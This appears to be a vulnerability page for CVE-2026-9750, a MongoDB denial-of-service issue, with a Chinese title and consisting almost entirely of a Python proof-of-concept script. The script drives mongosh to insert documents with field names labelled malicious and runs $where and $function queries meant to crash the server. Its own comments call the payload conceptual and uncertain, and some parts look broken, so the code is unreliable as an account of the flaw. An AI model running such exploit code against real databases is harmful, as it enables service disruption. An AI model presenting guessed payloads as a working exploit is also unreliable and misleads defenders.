MongoDB Server CVE-2026-9750 认证用户导致服务器崩溃漏洞

#!/usr/bin/env python3 """ CVE-2026-9750 PoC - MongoDB Server Crash via Malicious Document Note: This is a conceptual PoC for educational purposes only. """ import subprocess import sys def check_mongodb_version(): """Check if target MongoDB version is vulnerable""" # Check MongoDB version try: result = subprocess.run( ['mongosh', '--eval', 'db.version()'], capture_output=True, text=True, timeout=10 ) version = result.stdout.strip() print(f"[*] Target MongoDB version: {version}") return version except Exception as e: print(f"[-] Failed to check version: {e}") return None def create_malicious_collection(): """ Create a collection with documents designed to trigger the metadata processing vulnerability in CVE-2026-9750 """ exploit_js = """ // Authenticate with low-privilege user db = db.getSiblingDB('test'); // Create malicious documents that interfere with internal metadata // These field names are chosen to potentially conflict with internal metadata db.cve_2026_9750_coll.insertMany([ { "_id": "trigger_doc_1", "$internal": { "metadata": "malicious_metadata_value", "queryPlanner": "corrupted_plan" }, "field1": "value1" }, { "_id": "trigger_doc_2", "__indexKey": { "$db": "internal_db", "coll": "internal_collection" }, "data": "test_data" }, { "_id": "trigger_doc_3", "$query": { "$where": "malicious_code" }, "$explain": "internal_explain" } ]); print("[+] Malicious documents created"); // Trigger query execution path that may expose the vulnerability // This query pattern is designed to interact with internal metadata processing try { db.cve_2026_9750_coll.find({ "$or": [ {"$where": "sleep(1000)"}, {"$expr": {"$function": {}}} ] }).limit(10).toArray(); } catch(e) { print("[!] Query error (may indicate vulnerability): " + e.message); } """ try: result = subprocess.run( ['mongosh', '--quiet', '--eval', exploit_js], capture_output=True, text=True, timeout=30 ) print(result.stdout) if result.stderr: print(f"[!] Stderr: {result.stderr}") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): print("=" * 60) print("CVE-2026-9750 PoC - MongoDB Server Metadata Processing Issue") print("=" * 60) print("\n[*] This PoC demonstrates the concept of CVE-2026-9750") print("[*] Requires authenticated access with low privileges") print("[*] Target: MongoDB Server with insufficient document field isolation\n") version = check_mongodb_version() if version: print("[*] Proceeding with exploitation...") create_malicious_collection() else: print("[-] Cannot proceed without MongoDB connection") print("\n[*] Recommended action: Upgrade MongoDB to patched version") if __name__ == "__main__": main()